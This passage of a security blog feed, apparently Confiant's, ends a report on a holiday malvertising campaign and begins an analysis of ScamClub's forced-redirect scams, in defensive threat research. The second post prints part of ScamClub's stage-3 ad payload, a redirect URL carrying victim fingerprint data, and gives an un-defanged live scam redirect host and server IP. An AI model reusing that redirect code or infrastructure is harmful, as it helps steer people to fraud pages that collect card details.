strain</strong>, attempting to slip a steady stream of malicious campaigns through amidst the flood of legitimate campaigns. They also rely on cloaking to ensure they remain undetected by security researchers while actively targeting consumers.</p><h3>Cloaking</h3><p>The cloaking used by this cluster is relatively straightforward: users on desktop or specific user agents are served benign, policy-compliant &#8220;white pages&#8221; that resemble generic e-commerce sites with no major brands or logos in sight.</p><p>Meanwhile, targeted users are taken to the fake/ phantom storefronts. We detected clones of several major retailers like Amazon, Costco, Walmart, Wayfair and Home Depot, showcasing the year&#8217;s trending inventory. Copying sites is trivial and <strong>attackers rip assets</strong> directly from the legitimate websites. The resulting fake sites are <strong>mid-tier clones</strong> with minimal functionality but visually passable enough to deceive a user scrolling on a mobile device.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!vrYB!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdc8cd116-877e-4810-976b-d17854964dea_960x540.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!vrYB!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdc8cd116-877e-4810-976b-d17854964dea_960x540.png 424w, https://substackcdn.com/image/fetch/$s_!vrYB!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdc8cd116-877e-4810-976b-d17854964dea_960x540.png 848w, https://substackcdn.com/image/fetch/$s_!vrYB!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdc8cd116-877e-4810-976b-d17854964dea_960x540.png 1272w, https://substackcdn.com/image/fetch/$s_!vrYB!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdc8cd116-877e-4810-976b-d17854964dea_960x540.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!vrYB!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdc8cd116-877e-4810-976b-d17854964dea_960x540.png" width="960" height="540" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/dc8cd116-877e-4810-976b-d17854964dea_960x540.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:540,&quot;width&quot;:960,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!vrYB!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdc8cd116-877e-4810-976b-d17854964dea_960x540.png 424w, https://substackcdn.com/image/fetch/$s_!vrYB!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdc8cd116-877e-4810-976b-d17854964dea_960x540.png 848w, https://substackcdn.com/image/fetch/$s_!vrYB!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdc8cd116-877e-4810-976b-d17854964dea_960x540.png 1272w, https://substackcdn.com/image/fetch/$s_!vrYB!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdc8cd116-877e-4810-976b-d17854964dea_960x540.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>The video ad creatives themselves featured a wide variety of high-demand goods. They showcased &#8216;hype&#8217; products like Uggs, On Cloud running shoes, MacBooks, iPhones, Arc&#8217;teryx, and L.L.Bean, alongside seasonal staples such as Christmas trees, holiday lights, and festive decor.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Zx6Y!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F66c52d6a-94cc-4e52-b0b2-8de54c031199_960x540.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Zx6Y!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F66c52d6a-94cc-4e52-b0b2-8de54c031199_960x540.png 424w, https://substackcdn.com/image/fetch/$s_!Zx6Y!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F66c52d6a-94cc-4e52-b0b2-8de54c031199_960x540.png 848w, https://substackcdn.com/image/fetch/$s_!Zx6Y!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F66c52d6a-94cc-4e52-b0b2-8de54c031199_960x540.png 1272w, https://substackcdn.com/image/fetch/$s_!Zx6Y!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F66c52d6a-94cc-4e52-b0b2-8de54c031199_960x540.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Zx6Y!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F66c52d6a-94cc-4e52-b0b2-8de54c031199_960x540.png" width="960" height="540" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/66c52d6a-94cc-4e52-b0b2-8de54c031199_960x540.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:540,&quot;width&quot;:960,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!Zx6Y!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F66c52d6a-94cc-4e52-b0b2-8de54c031199_960x540.png 424w, https://substackcdn.com/image/fetch/$s_!Zx6Y!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F66c52d6a-94cc-4e52-b0b2-8de54c031199_960x540.png 848w, https://substackcdn.com/image/fetch/$s_!Zx6Y!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F66c52d6a-94cc-4e52-b0b2-8de54c031199_960x540.png 1272w, https://substackcdn.com/image/fetch/$s_!Zx6Y!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F66c52d6a-94cc-4e52-b0b2-8de54c031199_960x540.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>To keep the scam resilient against inevitable blocks and takedowns, the attackers rely on a multi-staged backend and delivery strategy.</p><h3>Infrastructure Reliance</h3><p><strong>Registered Domain Generation Algorithms (RDGA) Use<br></strong>To sustain volumes and account for takedowns, the cluster uses <strong>Registered Domain Generation Algorithms</strong> or RDGAs to programmatically generate and register a steady stream of disposable domains, keeping ahead of blocklists while maintaining a consistent flood of traffic.</p><p>The RDGAs used by this cluster are pretty good, the domains we detected are well-designed: short .com domains consisting of <strong>&#8220;pronounceable&#8221; pseudo-words</strong>. This helps them blend in with legitimate brands that utilize similar short naming conventions (e.g., Google, Roblox). Many contain fragments of real words, for example fctural[.]com mimics &#8216;factual&#8217;, atlanh[.]com &#8216;atlanta&#8217;, fgency[.]com &#8216;agency&#8217;, vsibla[.]com &#8216;visible&#8217;, rnicle[.]com &#8216;chronicle&#8217;). This results in the domains having low entropy. If a security analyst is looking at logs, they might mistake a domain like <em>fgency[.]com</em> for a legitimate, albeit niche, website. In contrast, a random, high-entropy domain like <em>lqkwrj[.]com</em> stands out as immediately suspicious.</p><p><strong>Asset Decoupling<br></strong>To harden the infrastructure, attackers create a separation between the disposable RDGA domains and the content hosting. This architecture effectively establishes an &#8220;<strong>Asset Mothership</strong>&#8221; where the heavy resources (images, fonts, scripts) live, with multiple RDGA domains pointing to it.</p><p>When the RDGA domain is inevitably blocked, the attackers simply discard it and rotate to a fresh domain, repointing the HTML to the existing asset repository in the mothership. This ensures rapid recovery without the need to migrate heavy resources. They also leverage dns-prefetch and preconnect to minimize latency, maintaining the illusion of the high-performance infrastructure expected from major retailers like Amazon.</p><h3>Holiday Skins</h3><p>Analyzing the Checkout and Payment pages revealed some interesting, specific class selectors for all the major holidays and retail events.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!GYdt!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F47494092-78b7-420b-994a-b7945b4e0dda_960x540.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!GYdt!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F47494092-78b7-420b-994a-b7945b4e0dda_960x540.png 424w, https://substackcdn.com/image/fetch/$s_!GYdt!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F47494092-78b7-420b-994a-b7945b4e0dda_960x540.png 848w, https://substackcdn.com/image/fetch/$s_!GYdt!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F47494092-78b7-420b-994a-b7945b4e0dda_960x540.png 1272w, https://substackcdn.com/image/fetch/$s_!GYdt!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F47494092-78b7-420b-994a-b7945b4e0dda_960x540.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!GYdt!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F47494092-78b7-420b-994a-b7945b4e0dda_960x540.png" width="960" height="540" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/47494092-78b7-420b-994a-b7945b4e0dda_960x540.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:540,&quot;width&quot;:960,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!GYdt!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F47494092-78b7-420b-994a-b7945b4e0dda_960x540.png 424w, https://substackcdn.com/image/fetch/$s_!GYdt!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F47494092-78b7-420b-994a-b7945b4e0dda_960x540.png 848w, https://substackcdn.com/image/fetch/$s_!GYdt!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F47494092-78b7-420b-994a-b7945b4e0dda_960x540.png 1272w, https://substackcdn.com/image/fetch/$s_!GYdt!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F47494092-78b7-420b-994a-b7945b4e0dda_960x540.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>These selectors indicate that the campaign is designed for year-round operation, capable of being &#8220;re-skinned&#8221; instantly by changing a parent class on the <em>&lt;body&gt;</em> tag. This Holiday Skins capability allows the attacker to run a Halloween scam in October, a Black Friday scam in November, and a Christmas scam in December pretty easily- creating a continuous, <strong>year-round operation</strong>.</p><pre><code>.head-notice.thanksgiving
.head-notice.blackFriday
.head-notice.cyberMonday
.head-notice.christmas
.head-notice.newYear
.head-notice.valentinesDay</code></pre><h3>Conclusion</h3><p>Ultimately, this cluster is a prime example of the agility and TTPs used by modern Malvertisers. It is a convergence of high-engagement video ads, resilient infrastructure, and a modular backend capable of instant &#8216;re-skinning&#8217; for any major holiday.</p><p>By layering these TTPs, the threat actors have built a &#8216;<strong>Dark Q4</strong>&#8217; campaign that is not only resilient to mitigation but designed for continuous, year-round operation. They have effectively created a strategy inspired by the very brands they abuse&#8202;&#8212;&#8202;prioritizing scalability, global reach, and operational efficiency to defraud consumers at an <strong>industrial scale</strong>.</p><h3>IOC dump</h3><p><a href="https://gist.github.com/roshan-confiant/923c7aa5b2ad162e85169f89076920d0">https://gist.github.com/roshan-confiant/923c7aa5b2ad162e85169f89076920d0</a></p>]]></content:encoded></item><item><title><![CDATA[ScamClub's Deceptive Landing Pages]]></title><description><![CDATA[Recently, I was involved in publishing Confiant&#8217;s ScamClub: Threat Report Q1-Q2 2023. During our investigation into this malvertising threat, we found ScamClub utilizing RTB integration with ad exchanges to push bid responses upstream to forcefully redirect the victim&#8217;s browser from the publisher site, to their landing pages containing scams. These scams are meant to entice victims into continuing to sites that ScamClub are affiliates of, but do not own. ScamClub leads its victims to other business entities page&#8217;s which contain surveys, CC-submit offers, and other offers in order gain profit from that entity as a marketing partner. Being an affiliate of these platforms has been very successful for ScamClub and we estimated approximately $8.5 million in total revenue in the first two quarters of 2023. Exploiting an ad recipient&#8217;s browser to forcefully redirect them to a page that scams them into entering credit card details into an unrelated offer, negatively represent its business partners. In this blog I will cover how ScamClub exploits the ad tech system to bring in confused victims, how it uses deception to scam its victims, and a few entities ScamClub was business partners with.]]></description><link>https://blog.confiant.com/p/scamclubs-deceptive-landing-pages-bf7989b388d2</link><guid isPermaLink="false">https://blog.confiant.com/p/scamclubs-deceptive-landing-pages-bf7989b388d2</guid><dc:creator><![CDATA[Confiant]]></dc:creator><pubDate>Thu, 26 Oct 2023 17:56:00 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!hQR4!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5d5a24af-86a6-4a9c-8250-d371594cee4a_1000x417.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!hQR4!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5d5a24af-86a6-4a9c-8250-d371594cee4a_1000x417.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!hQR4!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5d5a24af-86a6-4a9c-8250-d371594cee4a_1000x417.png 424w, https://substackcdn.com/image/fetch/$s_!hQR4!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5d5a24af-86a6-4a9c-8250-d371594cee4a_1000x417.png 848w, https://substackcdn.com/image/fetch/$s_!hQR4!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5d5a24af-86a6-4a9c-8250-d371594cee4a_1000x417.png 1272w, https://substackcdn.com/image/fetch/$s_!hQR4!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5d5a24af-86a6-4a9c-8250-d371594cee4a_1000x417.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!hQR4!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5d5a24af-86a6-4a9c-8250-d371594cee4a_1000x417.png" width="1000" height="417" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/5d5a24af-86a6-4a9c-8250-d371594cee4a_1000x417.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:417,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!hQR4!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5d5a24af-86a6-4a9c-8250-d371594cee4a_1000x417.png 424w, https://substackcdn.com/image/fetch/$s_!hQR4!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5d5a24af-86a6-4a9c-8250-d371594cee4a_1000x417.png 848w, https://substackcdn.com/image/fetch/$s_!hQR4!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5d5a24af-86a6-4a9c-8250-d371594cee4a_1000x417.png 1272w, https://substackcdn.com/image/fetch/$s_!hQR4!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5d5a24af-86a6-4a9c-8250-d371594cee4a_1000x417.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Recently, I was involved in publishing Confiant&#8217;s <a href="https://www.confiant.com/news/scamclub-threat-intelligence-report-q1-q2-2023#threat-anchor">ScamClub: Threat Report Q1-Q2 2023</a>. During our investigation into this malvertising threat, we found ScamClub utilizing RTB integration with ad exchanges to push bid responses upstream to forcefully redirect the victim&#8217;s browser from the publisher site, to their landing pages containing scams. These scams are meant to entice victims into continuing to sites that ScamClub are affiliates of, but do not own. ScamClub leads its victims to other business entities page&#8217;s which contain surveys, CC-submit offers, and other offers in order gain profit from that entity as a marketing partner. Being an affiliate of these platforms has been very successful for ScamClub and we estimated approximately $8.5 million in total revenue in the first two quarters of 2023. Exploiting an ad recipient&#8217;s browser to forcefully redirect them to a page that scams them into entering credit card details into an unrelated offer, negatively represent its business partners. In this blog I will cover how ScamClub exploits the ad tech system to bring in confused victims, how it uses deception to scam its victims, and a few entities ScamClub was business partners with.</p><h3>ScamClub&#8217;s Deceptive Nature</h3><p>ScamClub is a threat actor whose techniques are captured in our <a href="https://matrix.confiant.com/#matrix/scamclub">Malvertising Attack Matrix</a>. Our team tracks malvertising threats and profiles them based upon the techniques they use. More about how we profile these threats can be found in this <a href="https://blog.confiant.com/profiling-hackers-using-the-malvertising-attack-matrix-by-confiant-9341838887b7">blog post</a>. I will be referring to the specific techniques in the matrix ScamClub uses in order to explain the story of its deception.</p><p>Before reaching ScamClub&#8217;s landing page, ScamClub exploits a technique known as <em><a href="https://matrix.confiant.com/data/data200.html#204">[C204] Forceful redirects</a>. </em>This technique redirects the ad recipients browser from where it was, on the publisher website, to somewhere else, with no interaction required. In the case of a bid request won by ScamClub, code will run on the victims browser which will forcefully redirect it from the publishers website, to ScamClub&#8217;s malicious landing page. The victims may not know it was delivered via an exploited ad on the publisher website. Without this knowledge, they may misinterpret the legitimacy of the page to which they were forcefully redirected to and fall victim to its scams. I think is important to note about ScamClub because it uses this confusion to further its false claims and impersonation.</p><p>ScamClub is initially delivered by an ad and has a multi-staged payload. Of the three stages, the first decodes the second, the second fingerprints the victim, and the third redirects the victims browser to a ScamClub landing page. A URL is stored in the stage 3 payload.</p><pre><code>var re_l_url = &#8220;https://trkmyclk.xyz/visit.php?k=14c685b6ffd1c77ca3f7971ad9aa01f1&amp;c=185&amp;bid_id=3343-91c36751b0e2d90-192&amp;pub=englewoodherald.net&amp;exchange=gothamads&amp;ip=174.197.141.183&amp;browser=&amp;os=&amp;ifa=&amp;cc=US&amp;time=bYvMTY4NTgxNjk5NjI4OA&amp;browserv=113&amp;site_id=englewoodherald.net_73fe4cb37e68&amp;sec_id=69e3bf5a53902da611fdaf5be3683a25&amp;xrtb_id=f24b89c64ec64d159a3e64f954239b2b&amp;ifm_ori=2%7C%7Cabout:blank%7C%7Cenglewoodherald.net&amp;banner_id=kKOE&amp;a_href_id=bpbsF&#8221; + &#8220;&amp;scid_bak=&#8221; + &#8220;1c41d66b534abcb1ae4074295f71c147&#8221; + &#8220;&amp;scip_bak=&#8221; + &#8220;5ca1015596000a7a365a789343454851&#8221; + &#8220;&amp;tmid_flg=&#8221; + &#8220;MKTaYk4aNxTig0x0N7jk5NwO0O0OO0O0O&#8221;;
var pbHalfSeconds = 3;
var expiryCookie = true;
var coo_time = 1;</code></pre><p>The domain of the URL in this stage 3 sample is old and is no longer used. This domain name was reported to NameCheap by Confiant on October 5th, 2023 and the domain was no longer active by the end of the day. This domain has been retired but the domain <em>trackmaster.cc </em>has taken its place and points to the same ScamClub IP(34.74.68.195). Requesting the URL from a stage 3 payload after replacing its domain with a current one, and removing all parameters that are not required, results in a response which indicates a 302 redirection.</p><blockquote><p><a href="http:///visit.php?k=994bf7a2b571f6bb6bde249b80572b25&amp;c=155">http://trackmaster.cc/visit.php?k=994bf7a2b571f6bb6bde249b80572b25&amp;c=155</a></p></blockquote><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!WajY!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F80fc9663-6f28-4b6b-b3a7-e99d4681c18a_800x459.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" 